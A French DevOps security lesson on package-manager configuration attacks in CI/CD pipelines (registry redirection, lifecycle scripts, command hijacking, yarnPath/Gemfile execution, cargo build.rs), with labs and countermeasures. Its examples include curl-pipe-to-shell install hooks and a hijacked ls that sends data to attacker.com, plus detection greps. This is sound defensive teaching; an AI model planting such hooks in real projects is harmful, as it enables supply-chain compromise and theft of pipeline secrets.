Un simple install dans un pipeline peut exécuter du code arbitraire : il suffit qu'un fichier de configuration du gestionnaire de paquets (.npmrc, package.json, requirements.txt, .yarnrc.yml, Cargo.toml) soit piégé. Cette leçon présente 5 techniques (redirection de registre, scripts de lifecycle, détournement de commande, configuration exécutable, script de build) sur 7 gestionnaires (npm, pip, poetry, uv, yarn, bundler, cargo), avec un lab par technique et les contre-mesures. Elle s'adresse aux DevOps et développeurs qui maintiennent des pipelines CI/CD, avec des notions de ligne de commande.
Un exemple suffit à fixer l'idée : une pull request ajoute un fichier .npmrc
d'une seule ligne à la racine du projet. Rien de suspect, juste une
configuration de registre. Pourtant, au prochain npm install dans le
pipeline, toutes les dépendances sont téléchargées depuis un serveur contrôlé
par l'attaquant, sans code malveillant dans le diff ni alerte. Pour la défense
côté dépendances (typosquatting, dependency confusion, verrouillage), voyez
sécuriser les dépendances npm, PyPI et
Go ; pour filtrer ce qui
entre, le firewall
d'artefacts.
Ce que vous allez apprendre
Section intitulée « Ce que vous allez apprendre »- Expliquer pourquoi les gestionnaires de paquets sont un vecteur d'attaque sous-estimé en CI/CD.
- Reconnaître 5 techniques concrètes : redirection de registre, scripts de lifecycle, détournement de commande, fichiers de config exécutables, scripts de build.
- Reproduire chaque attaque dans un lab sécurisé.
- Appliquer les contre-mesures pour protéger vos pipelines.
Pour les labs, prévoyez un poste avec Node.js, npm et Python 3,
ainsi qu'un accès réseau à PyPI (pypi.org) : les labs pip téléchargent
setuptools pour construire le paquet dans un environnement isolé. Le lab de la
technique 4 demande aussi yarn et Ruby (bundler), celui de la technique 5
Rust (cargo) : sautez-les si ces outils manquent.
Vue d'ensemble du flux d'attaque
Section intitulée « Vue d'ensemble du flux d'attaque »Le diagramme suivant montre comment un attaquant exploite les fichiers de configuration des gestionnaires de paquets pour exécuter du code dans un pipeline CI/CD, et comment les contre-mesures bloquent chaque étape.
Pourquoi les gestionnaires de paquets sont dangereux
Section intitulée « Pourquoi les gestionnaires de paquets sont dangereux »Le problème fondamental
Section intitulée « Le problème fondamental »Dans un pipeline CI/CD, npm install, pip install -r requirements.txt
ou cargo build sont des commandes considérées comme sûres. Elles font
partie de chaque build, de chaque déploiement. Personne ne les remet en
question.
Le problème : ces commandes ne se contentent pas de télécharger du code. Elles lisent des fichiers de configuration, exécutent des scripts, compilent du code, et chacune de ces étapes peut être détournée pour exécuter du code arbitraire.
Comment l'attaque arrive dans le pipeline
Section intitulée « Comment l'attaque arrive dans le pipeline »Le fichier piégé n'apparaît pas par magie dans le dépôt : il faut un chemin d'introduction. Ces chemins vont du plus visible (une pull request qu'une revue attentive peut intercepter) au plus discret (un cache CI empoisonné, qu'aucune revue de code ne regarde). Trois vecteurs ne passent par aucun diff du projet : la dépendance compromise, la dependency confusion (un paquet public portant le nom d'un paquet interne, que le gestionnaire télécharge à sa place) et le cache empoisonné. C'est pourquoi la protection ne peut pas reposer sur la seule revue humaine.
| Vecteur | Technique | Fichier piégé |
|---|---|---|
| PR malveillante | Ajout/modification d'un fichier de config | .npmrc, requirements.txt, .yarnrc.yml |
| Dépendance compromise | Le paquet contient un script post-install | package.json, setup.py |
| Dependency confusion | Paquet interne remplacé par un paquet public | requirements.txt, package.json |
| Fork empoisonné | Le fork contient des fichiers de config modifiés | Cargo.toml + build.rs |
| Cache empoisonné | Le cache CI contient des fichiers modifiés | .npmrc, .bundle/config |
Vue d'ensemble des 7 gestionnaires ciblés
Section intitulée « Vue d'ensemble des 7 gestionnaires ciblés »Avant de détailler chaque technique, ce tableau sert de carte : il associe
chaque gestionnaire aux fichiers de configuration qui, chez lui, peuvent
exécuter du code. Repérez la colonne Fichiers de config dangereux, ce sont
exactement ceux que vous devrez placer sous revue obligatoire dans la dernière
section. Un même fichier peut porter plusieurs techniques : package.json, par
exemple, combine redirection de registre (via un .npmrc voisin) et scripts
de lifecycle.
| Gestionnaire | Écosystème | Fichiers de config dangereux | Techniques |
|---|---|---|---|
| npm (et npx) | Node.js | .npmrc, package.json, node_modules/.bin/ | Registre, lifecycle, binaire |
| pip | Python | requirements.txt, setup.py | Registre, post-install, hijack |
| poetry | Python | pyproject.toml | Registre, scripts, post-install |
| uv | Python | requirements.txt | Mêmes que pip |
| yarn | Node.js | .yarnrc.yml | Config exécutable |
| bundler | Ruby | Gemfile, .bundle/config | Config exécutable |
| cargo | Rust | Cargo.toml, build.rs | Script de build |
Technique 1 : Redirection de registre
Section intitulée « Technique 1 : Redirection de registre »La redirection de registre est l'attaque la plus simple : un fichier de configuration redirige le gestionnaire de paquets vers un registre contrôlé par l'attaquant. Les paquets téléchargés peuvent contenir du code malveillant, tout en portant les mêmes noms et versions que les paquets légitimes.
npm / npx : le fichier .npmrc
Section intitulée « npm / npx : le fichier .npmrc »Un fichier .npmrc placé à la racine du projet est lu automatiquement par
npm install et npx. Une seule ligne suffit :
registry=https://evil.example.com/À partir de ce moment, toutes les dépendances du projet sont téléchargées
depuis le registre malveillant. Le package-lock.json ne suffit pas : ses
hashes vérifient qu'un paquet n'a pas changé, pas que le registre est
légitime, et npm suit celui que .npmrc désigne. Sans lockfile, ou avec un
lockfile régénéré par l'attaquant dans la même PR, rien ne contredit les
paquets servis.
pip : l'option -i dans requirements.txt
Section intitulée « pip : l'option -i dans requirements.txt »Peu de développeurs le savent : requirements.txt accepte des options de
ligne de commande, pas seulement des noms de paquets. L'option -i (ou
--index-url) redirige pip vers un autre registre :
-i https://evil.example.com/simple/requests==2.31.0flask==3.0.0La commande pip install -r requirements.txt téléchargera requests et flask
depuis evil.example.com au lieu de PyPI. L'option --extra-index-url est
encore plus vicieuse : elle ajoute un registre supplémentaire, et pip
choisit la version la plus récente entre les deux registres, ce qui permet
une attaque par dependency confusion.
poetry : sources malveillantes dans pyproject.toml
Section intitulée « poetry : sources malveillantes dans pyproject.toml »Poetry permet de définir des sources de paquets dans pyproject.toml :
[[tool.poetry.source]]name = "internal"url = "https://evil.example.com/simple/"priority = "primary"Avec priority = "primary", cette source est consultée avant PyPI pour
tous les paquets du projet.
Lab : tester la redirection de registre
Section intitulée « Lab : tester la redirection de registre »-
Créer un projet npm avec
.npmrcmalveillant :Fenêtre de terminal mkdir lab-npm-registry && cd lab-npm-registryecho '{"name":"lab","dependencies":{"is-odd":"3.0.1"}}' > package.jsonecho 'registry=https://evil.example.com/' > .npmrc -
Lancer
npm installet observer :Fenêtre de terminal timeout 10 npm install 2>&1 || trueRésultat attendu : la commande échoue sans rien installer, soit par une erreur DNS, soit au bout du
timeoutde 10 secondes (npm peut n'afficher aucun message avant l'arrêt). En production, le registre malveillant répondrait avec des paquets piégés. -
Tester la même chose avec pip :
Les distributions récentes refusent
pip installhors d'un environnement virtuel (PEP 668) : le lab en crée un, jetable.Fenêtre de terminal cd .. && mkdir lab-pip-registry && cd lab-pip-registrypython3 -m venv .venv && . .venv/bin/activateprintf -- '-i https://evil.example.com/simple/\nrequests==2.31.0\n' > requirements.txtpip install -r requirements.txt 2>&1 || trueRésultat attendu : pip affiche une erreur de connexion vers
evil.example.com, sans rien installer. -
Nettoyer :
Fenêtre de terminal deactivate && cd .. && rm -rf lab-npm-registry lab-pip-registry
Technique 2 : Scripts de lifecycle et post-installation
Section intitulée « Technique 2 : Scripts de lifecycle et post-installation »Certains gestionnaires de paquets exécutent automatiquement des scripts
avant, pendant ou après l'installation d'un paquet. Un attaquant
peut exploiter ces mécanismes pour exécuter du code arbitraire lors d'un simple
install.
npm : preinstall et postinstall
Section intitulée « npm : preinstall et postinstall »Le fichier package.json supporte des lifecycle scripts qui s'exécutent
automatiquement :
| Script | Quand il s'exécute |
|---|---|
preinstall | Avant l'installation des dépendances |
install | Pendant l'installation |
postinstall | Après l'installation des dépendances |
prepare | Après install et avant publish |
prestart | Avant npm start |
pretest | Avant npm test |
Un package.json malveillant peut exécuter n'importe quelle commande :
{ "name": "paquet-legitime", "version": "1.0.0", "scripts": { "preinstall": "curl https://attacker.com/payload.sh | sh" }}La commande npm install exécutera curl ... | sh avant même d'installer
les dépendances. Deux incidents de septembre 2025 montrent les deux faces du
risque. Le 8 septembre, le compte du mainteneur Qix est compromis par
hameçonnage et des versions piégées de 18 paquets, dont debug et chalk (plus de
deux milliards de téléchargements hebdomadaires cumulés), sont publiées, avec
une charge qui détourne les transactions de cryptomonnaie dans le navigateur ;
elles restent en ligne environ deux heures. C'est la compromission d'un
mainteneur à l'état pur, sans script d'installation. Une semaine plus tard, le
ver Shai-Hulud se propage de lui-même en injectant un script postinstall
dans les paquets des mainteneurs qu'il compromet, chaque infection en
déclenchant de nouvelles. Sa variante Shai-Hulud 2.0 (novembre 2025) est
passée à preinstall pour s'exécuter plus tôt et réduire la fenêtre de
détection.
Depuis npm v12 (8 juillet 2026), les scripts preinstall, install et
postinstall des dépendances ne s'exécutent plus par défaut, mais ceux du
projet lui-même continuent de tourner : c'est le cas du package.json
piégé ci-dessus, modifié par une PR. Ce blocage ferme donc l'attaque par
dépendance compromise, pas celle par fichier de configuration. Le billet
npm ne lance plus les scripts d'installation
détaille ce changement et la migration des pipelines.
pip : setup.py avec cmdclass
Section intitulée « pip : setup.py avec cmdclass »Quand pip installe un paquet depuis les sources (pas une wheel pré-compilée), il
exécute setup.py. Un attaquant peut surcharger la commande d'installation :
from setuptools import setupfrom setuptools.command.install import install
class MaliciousInstall(install): def run(self): # Code exécuté PENDANT l'installation import os os.system("curl https://attacker.com/payload.sh | sh") install.run(self)
setup( name="paquet-legitime", version="1.0.0", cmdclass={"install": MaliciousInstall},)La commande pip install ./paquet-legitime ou pip install paquet-legitime
(si le paquet est distribué en sdist) exécutera le code malveillant.
Lab : tester les scripts de lifecycle
Section intitulée « Lab : tester les scripts de lifecycle »-
Créer un
package.jsonavecpreinstall:Fenêtre de terminal mkdir lab-npm-lifecycle && cd lab-npm-lifecyclecat > package.json << 'JSON'{"name": "lab-lifecycle","version": "1.0.0","scripts": {"preinstall": "echo '[LOTP] preinstall RCE' > /tmp/lab-npm-pwned.txt"}}JSON -
Lancer
npm install:Fenêtre de terminal npm install --ignore-scripts=false 2>&1cat /tmp/lab-npm-pwned.txtRésultat attendu : le fichier
/tmp/lab-npm-pwned.txtcontient[LOTP] preinstall RCE. Le script s'exécute sans aucun avertissement. -
Créer un paquet pip avec
setup.pymalveillant :Fenêtre de terminal python3 -m venv .venv && . .venv/bin/activatemkdir -p lab-pip-setup/malicious_pkgcat > lab-pip-setup/malicious_pkg/setup.py << 'PYTHON'from setuptools import setupfrom setuptools.command.install import installimport osclass Exploit(install):def run(self):os.system("echo '[LOTP] setup.py RCE' > /tmp/lab-pip-pwned.txt")install.run(self)setup(name="malicious", version="1.0.0", cmdclass={"install": Exploit})PYTHON -
Installer le paquet :
Fenêtre de terminal pip install ./lab-pip-setup/malicious_pkg 2>&1cat /tmp/lab-pip-pwned.txtRésultat attendu : le fichier contient
[LOTP] setup.py RCE. -
Nettoyer :
Fenêtre de terminal rm -f /tmp/lab-npm-pwned.txt /tmp/lab-pip-pwned.txtdeactivate && cd .. && rm -rf lab-npm-lifecycle
Technique 3 : Détournement de commande (command hijack)
Section intitulée « Technique 3 : Détournement de commande (command hijack) »Cette technique exploite les mécanismes d'entry points pour remplacer des
commandes système par des versions malveillantes. L'attaquant publie un
paquet qui déclare un console_scripts portant le nom d'une commande
courante (ls, git, curl...).
pip : console_scripts dans setup.py
Section intitulée « pip : console_scripts dans setup.py »Les entry points console_scripts permettent à un paquet Python d'installer un
exécutable dans le PATH :
from setuptools import setup
setup( name="evil-ls", version="1.0.0", py_modules=["evil"], entry_points={ "console_scripts": [ "ls=evil:main", # Remplace la commande ls ! ], },)def main(): import subprocess # Exfiltrer les secrets avant d'exécuter le vrai ls subprocess.run(["curl", "-s", "https://attacker.com/collect", "-d", f"PATH={__import__('os').environ.get('PATH', '')}"], capture_output=True) # Exécuter le vrai ls pour ne pas éveiller les soupçons subprocess.run(["/bin/ls"] + __import__('sys').argv[1:])Après pip install evil-ls, la commande ls du paquet est installée
dans le répertoire bin/ de l'environnement Python. Dans un venv ou un
pipeline CI/CD où le PATH Python est prioritaire, cette version malveillante
de ls sera exécutée à la place de /bin/ls.
poetry : [project.scripts] dans pyproject.toml
Section intitulée « poetry : [project.scripts] dans pyproject.toml »Poetry utilise le même mécanisme via pyproject.toml :
[project.scripts]git = "malicious_pkg:hijacked_git"Lab : tester le détournement de commande
Section intitulée « Lab : tester le détournement de commande »-
Créer un paquet avec un
console_scriptsmalveillant :Fenêtre de terminal python3 -m venv lab-venv && . lab-venv/bin/activatemkdir -p lab-hijack/evil_pkgcat > lab-hijack/evil_pkg/setup.py << 'PYTHON'from setuptools import setupsetup(name="evil-ls",version="1.0.0",py_modules=["evil"],entry_points={"console_scripts": ["ls=evil:main"]},)PYTHONcat > lab-hijack/evil_pkg/evil.py << 'PYTHON'def main():print("[LOTP] Commande ls détournée !")PYTHON -
Installer et vérifier :
Fenêtre de terminal pip install ./lab-hijack/evil_pkg 2>&1which -a lslsRésultat attendu :
which -a lsmontre au moins deux entrées, lelsmalveillant en tête (dans lebin/de l'environnement Python activé), puis lelssystème. La commandelsaffiche alors[LOTP] Commande ls détournée !. Dans un pipeline CI/CD sans alias shell, lelsmalveillant serait exécuté en priorité. -
Nettoyer immédiatement :
Fenêtre de terminal deactivate && rm -rf lab-hijack lab-venv
Technique 4 : Fichiers de configuration exécutables
Section intitulée « Technique 4 : Fichiers de configuration exécutables »Certains gestionnaires de paquets utilisent des fichiers de configuration qui sont en réalité du code exécutable. Modifier ces fichiers revient à injecter du code qui sera exécuté lors de la prochaine commande du gestionnaire.
yarn : yarnPath dans .yarnrc.yml
Section intitulée « yarn : yarnPath dans .yarnrc.yml »Yarn 2+ utilise un fichier .yarnrc.yml pour sa configuration. La directive
yarnPath indique à yarn quel fichier JavaScript exécuter comme gestionnaire de
paquets :
yarnPath: "./malicious.js"const fs = require("fs");// Code exécuté AVANT toute commande yarnfs.writeFileSync("/tmp/yarn-pwned.txt", "[LOTP] yarnPath RCE, exécuté par yarn\n");// Même `yarn --version` déclenche l'exécutionprocess.exit(0);Chaque commande yarn, y compris yarn --version, exécute d'abord le
fichier pointé par yarnPath. C'est un comportement par conception de
Yarn 2+ (Plug'n'Play), mais il devient un vecteur d'attaque lorsqu'un attaquant
modifie .yarnrc.yml via une PR.
bundler : le Gemfile est du Ruby
Section intitulée « bundler : le Gemfile est du Ruby »Contrairement aux autres fichiers de configuration, un Gemfile n'est
pas du YAML ou du JSON : c'est du code Ruby exécuté par Bundler. Tout code
Ruby valide placé dans un Gemfile sera exécuté lors de bundle install :
# Code Ruby exécuté au chargement du GemfileFile.write("/tmp/bundler-pwned.txt", "[LOTP] Gemfile RCE, code Ruby exécuté\n")
source "https://rubygems.org"gem "rake"Le code Ruby est exécuté avant la résolution des dépendances. Bundler
accepte aussi une redirection via .bundle/config :
---BUNDLE_GEMFILE: "/chemin/vers/Gemfile-malveillant"Cette technique redirige bundle install vers un Gemfile arbitraire, même s'il
se trouve dans un autre répertoire.
Lab : tester les fichiers de configuration exécutables
Section intitulée « Lab : tester les fichiers de configuration exécutables »-
Tester yarn avec
yarnPathmalveillant :Fenêtre de terminal mkdir lab-yarn && cd lab-yarnecho '{"name":"lab-yarn","version":"1.0.0"}' > package.jsoncat > poc.js << 'JS'const fs = require("fs");fs.writeFileSync("/tmp/lab-yarn-pwned.txt","[LOTP] yarnPath RCE, même yarn --version l'exécute\n");console.log("[POC] Code exécuté via yarnPath");process.exit(0);JSecho 'yarnPath: "./poc.js"' > .yarnrc.ymlyarn --version 2>&1cat /tmp/lab-yarn-pwned.txtRésultat attendu : même
yarn --versionexécutepoc.jset crée le fichier. La commande yarn n'est jamais atteinte, le code malveillant prend le contrôle immédiatement. -
Tester bundler avec du code Ruby dans le Gemfile :
Fenêtre de terminal cd .. && mkdir lab-bundler && cd lab-bundlercat > Gemfile << 'RUBY'File.write("/tmp/lab-bundler-pwned.txt","[LOTP] Gemfile RCE, code Ruby exécuté\n")source "https://rubygems.org"gem "rake"RUBYruby -e 'load "./Gemfile"' 2>&1 || truecat /tmp/lab-bundler-pwned.txtRésultat attendu : même si
sourceprovoque une erreur (méthode non définie hors Bundler), leFile.writes'exécute avant l'erreur. En contexte Bundler, tout le fichier s'exécute sans erreur. -
Nettoyer :
Fenêtre de terminal rm -f /tmp/lab-yarn-pwned.txt /tmp/lab-bundler-pwned.txtcd .. && rm -rf lab-yarn lab-bundler
Technique 5 : Exécution au build (build scripts)
Section intitulée « Technique 5 : Exécution au build (build scripts) »cargo : build.rs, exécution avant la compilation
Section intitulée « cargo : build.rs, exécution avant la compilation »Cargo exécute automatiquement un fichier build.rs situé à la racine d'un
crate avant de compiler le code Rust. Ce fichier peut contenir n'importe
quel code Rust, y compris des appels système :
use std::process::Command;use std::fs;
fn main() { // Exécuté AUTOMATIQUEMENT avant cargo build let output = Command::new("id").output().unwrap(); let id = String::from_utf8_lossy(&output.stdout); fs::write("/tmp/cargo-pwned.txt", format!("[LOTP] build.rs RCE, {}", id)).unwrap();}Le fichier build.rs est exécuté dans ces contextes :
| Commande | Exécute build.rs ? |
|---|---|
cargo build | Oui |
cargo test | Oui (compilation requise) |
cargo bench | Oui (compilation requise) |
cargo run | Oui (compilation requise) |
cargo check | Oui |
cargo doc | Oui |
Le fichier Cargo.toml peut aussi référencer des dépendances de build qui
contiennent elles-mêmes un build.rs :
[build-dependencies]malicious-build-helper = "1.0.0"Lab : tester l'exécution de build.rs
Section intitulée « Lab : tester l'exécution de build.rs »-
Créer un projet Rust avec un
build.rsmalveillant :Fenêtre de terminal mkdir lab-cargo && cd lab-cargocat > Cargo.toml << 'TOML'[package]name = "lab-cargo"version = "0.1.0"edition = "2021"TOMLmkdir srcecho 'fn main() { println!("Hello"); }' > src/main.rscat > build.rs << 'RUST'use std::process::Command;use std::fs;fn main() {fs::write("/tmp/lab-cargo-pwned.txt","[LOTP] build.rs RCE, code exécuté avant la compilation\n").unwrap();let output = Command::new("id").output().unwrap();fs::write("/tmp/lab-cargo-id.txt",format!("Exécuté en tant que: {}",String::from_utf8_lossy(&output.stdout))).unwrap();}RUST -
Lancer
cargo build:Fenêtre de terminal cargo build 2>&1cat /tmp/lab-cargo-pwned.txtcat /tmp/lab-cargo-id.txtRésultat attendu : les deux fichiers sont créés. Le
build.rss'exécute avant la compilation desrc/main.rs, avec les droits complets de l'utilisateur du pipeline. -
Nettoyer :
Fenêtre de terminal rm -f /tmp/lab-cargo-pwned.txt /tmp/lab-cargo-id.txtcd .. && rm -rf lab-cargo
Contre-mesures
Section intitulée « Contre-mesures »Mesures transversales (tous les gestionnaires)
Section intitulée « Mesures transversales (tous les gestionnaires) »Ces mesures s'appliquent quel que soit l'écosystème, et c'est là leur intérêt : plutôt que de retenir une option par outil, vous mettez en place une poignée de garde-fous qui couvrent tous les vecteurs à la fois. Lisez la colonne Difficulté comme un ordre de déploiement : commencez par les lignes « Faible », qui bloquent déjà les attaques les plus courantes pour un effort minimal, et réservez le pipeline en lecture seule à une seconde étape.
| Contre-mesure | Impact | Difficulté |
|---|---|---|
| Fichier lockfile vérifié | Détecte les changements de registre/hash | Faible |
--ignore-scripts pour npm | Bloque preinstall/postinstall, y compris ceux du projet que npm 12 laisse s'exécuter | Faible |
--only-binary=:all: pour pip | N'installe que des wheels : aucun setup.py n'est exécuté | Faible |
| Revue des fichiers de config dans les PR | Détecte .npmrc, .yarnrc.yml, etc. | Moyenne |
| CODEOWNERS sur les fichiers sensibles | Impose l'approbation de relecteurs désignés (voir plus bas) | Moyenne |
| Pipeline en lecture seule (jeton aux permissions minimales) | Limite l'impact d'une exécution de code | Élevée |
Par gestionnaire de paquets
Section intitulée « Par gestionnaire de paquets »Les mesures transversales ne suffisent pas toujours : chaque
gestionnaire offre des drapeaux spécifiques pour désamorcer ses propres
mécanismes d'exécution. Ouvrez l'onglet de votre écosystème et retenez la
première commande, c'est celle qui neutralise le vecteur le plus dangereux
(scripts de lifecycle, installation depuis les sources, yarnPath
arbitraire).
# Désactiver les lifecycle scriptsnpm install --ignore-scripts
# Auditer les scripts avant installationnpm pack <paquet> && tar xf <paquet>.tgz && cat package/package.json | jq '.scripts'
# Protéger .npmrc avec CODEOWNERSecho "/.npmrc @security-team" >> .github/CODEOWNERS# Installer uniquement des wheels (pas de setup.py)pip install --only-binary=:all: -r requirements.txt
# Refuser toute option de registre écrite dans requirements.txt, AVANT l'installif grep -nE '^[[:space:]]*(-i|--index-url|--extra-index-url|-f|--find-links|--trusted-host)' requirements.txt; then echo "option de registre interdite dans requirements.txt" >&2 exit 1fi
# Vérifier les hashes : un paquet servi par un autre registre est refusépip install --require-hashes -r requirements.txtNe comptez pas sur pip install --index-url … -r requirements.txt pour
épingler le registre : un -i ou un --index-url écrit dans
requirements.txt l'emporte sur celui de la ligne de commande (constaté avec
pip 25.0.1 et 26.0.1, deux registres locaux de test), et un
--extra-index-url s'y ajoute au lieu de le remplacer. Trois barrières
tiennent en revanche : le contrôle grep ci-dessus, qui refuse le fichier
avant tout téléchargement, --require-hashes, qui rejette un paquet dont le
hash ne correspond pas, et --no-index --find-links <répertoire>, qui
n'interroge aucun registre et installe depuis un répertoire de wheels que
vous avez vérifié.
Fichier requirements.txt sécurisé (avec hashes) :
requests==2.31.0 \ --hash=sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f# Vérifier les build scripts avant compilationcargo vendor && grep -r "Command::new" vendor/*/build.rs
# Utiliser cargo-audit pour détecter les vulnérabilitéscargo install cargo-auditcargo audit
# Examiner les build-dependenciesgrep -A5 "build-dependencies" Cargo.toml# Vérifier que yarnPath pointe vers un fichier légitimecat .yarnrc.yml | grep yarnPath
# Le yarnPath devrait pointer vers .yarn/releases/yarn-*.cjs# JAMAIS vers un fichier .js arbitraire
# Protéger .yarnrc.yml avec CODEOWNERSecho "/.yarnrc.yml @security-team" >> .github/CODEOWNERS# Examiner le Gemfile pour du code Ruby suspectgrep -E "system|exec|spawn|\`|%x|IO.popen|File.write" Gemfile
# Protéger le Gemfile avec CODEOWNERSecho "/Gemfile @security-team" >> .github/CODEOWNERSecho "/.bundle/config @security-team" >> .github/CODEOWNERSFichiers à surveiller dans les PR
Section intitulée « Fichiers à surveiller dans les PR »Un fichier CODEOWNERS désigne qui doit approuver une PR qui touche certains chemins. Associé à la règle de protection de branche « Require review from Code Owners », il rend la revue de l'équipe sécurité obligatoire dès qu'une PR modifie l'un de ces fichiers :
# Fichiers de configuration des gestionnaires de paquets/.npmrc @security-team/.yarnrc.yml @security-team/Gemfile @security-team/.bundle/config @security-team/build.rs @security-team
# Fichiers qui peuvent contenir des redirections de registre/requirements.txt @security-team/pyproject.toml @security-team/Cargo.toml @security-teamDépannage
Section intitulée « Dépannage »Les symptômes ci-dessous sont ceux qu'un développeur remarque après coup, souvent parce qu'une commande se comporte bizarrement ou qu'un téléchargement part vers un domaine inattendu. Chaque ligne renvoie au fichier de configuration à inspecter en priorité : dans presque tous les cas, la preuve de la compromission est en clair dans un fichier du dépôt ; encore faut-il savoir lequel ouvrir.
| Symptôme | Cause probable | Solution |
|---|---|---|
npm install télécharge depuis un registre inconnu | .npmrc avec un registry modifié | Vérifier .npmrc à la racine et dans ~/.npmrc |
pip install échoue avec une erreur de certificat | -i vers un registre HTTPS non valide dans requirements.txt | Inspecter requirements.txt pour les options -i ou --extra-index-url |
| Un binaire système se comporte étrangement | console_scripts installe un binaire homonyme | which -a <commande> pour lister toutes les versions |
yarn exécute du code inattendu | yarnPath pointe vers un fichier malveillant | Vérifier .yarnrc.yml, yarnPath doit pointer vers .yarn/releases/ |
cargo build écrit des fichiers inattendus | build.rs contient du code malveillant | Lire build.rs et chercher Command::new, fs::write |
bundle install exécute des commandes | Le Gemfile contient du code Ruby arbitraire | Chercher system, exec, File.write dans le Gemfile |
Récapitulatif des techniques
Section intitulée « Récapitulatif des techniques »Ce tableau condense les cinq techniques sur une seule vue. La colonne Déclencheur est la plus instructive : elle montre que le point commun n'est pas le langage mais le moment où le code s'exécute, à l'installation, au build ou dès la première commande. C'est pourquoi une contre-mesure efficace cible ce moment (bloquer les scripts, exiger des artefacts pré-compilés) plutôt qu'un gestionnaire en particulier.
| # | Technique | Gestionnaires | Fichier piégé | Déclencheur |
|---|---|---|---|---|
| 1 | Redirection de registre | npm, pip, poetry, uv | .npmrc, requirements.txt, pyproject.toml | install |
| 2 | Scripts de lifecycle | npm, pip, poetry, uv | package.json, setup.py | install |
| 3 | Détournement de commande | pip, poetry | setup.py, pyproject.toml | install + usage |
| 4 | Config exécutable | yarn, bundler | .yarnrc.yml, Gemfile | Toute commande |
| 5 | Script de build | cargo | build.rs | build, test, check |
À retenir
Section intitulée « À retenir »-
Les gestionnaires de paquets ne sont pas de simples téléchargeurs : ils exécutent du code à l'installation, au build, et même à la configuration.
-
5 techniques permettent l'exécution de code arbitraire : redirection de registre, scripts de lifecycle, détournement de commande, fichiers de config exécutables, et scripts de build.
-
Tous les écosystèmes sont concernés : Node.js (npm, yarn), Python (pip, poetry, uv), Ruby (bundler) et Rust (cargo).
-
La technique la plus simple est la redirection de registre (une ligne dans
.npmrcourequirements.txt), la plus dangereuse est le script de lifecycle (exécution automatique sans avertissement). -
La première barrière est CODEOWNERS : exiger une revue par l'équipe sécurité pour tout fichier de configuration de gestionnaire de paquets. Elle ne voit ni une dépendance compromise ni un cache empoisonné, d'où le complément des lockfiles à hashes et de
--ignore-scripts. -
--ignore-scripts(npm) et--only-binary=:all:(pip) bloquent l'exécution de code à l'installation, mais peuvent casser certains paquets légitimes.
Contrôle de connaissances
Section intitulée « Contrôle de connaissances »Six questions tirées sur huit : redirection de registre, scripts de lifecycle, yarnPath, build.rs et contre-mesures en CI/CD.
Contrôle de connaissances
Validez vos connaissances avec ce quiz interactif
Informations
- Le chronomètre démarre au clic sur Démarrer
- Questions à choix multiples, vrai/faux et réponses courtes
- Vous pouvez naviguer entre les questions
- Les résultats détaillés sont affichés à la fin
Lance le quiz et démarre le chronomètre
Vérification
(0/0)Score par domaine
Un domaine regroupe plusieurs guides et reçoit plusieurs questions : son score est plus fiable qu'un score par thème, qui porte souvent sur une seule question.
Bilan
Points forts
Aucun sujet réussi à 80 % sur au moins deux questions pour l’instant.
Points faibles
Aucun sujet sous le seuil de réussite.
À faire ensuite
Des indices pour retenter votre chance ?
Continuer le cours : Contrôler l'entrée des dépendances
Nouveau quiz complet avec des questions aléatoires
Retravailler uniquement les questions ratées
Retour à la liste des certifications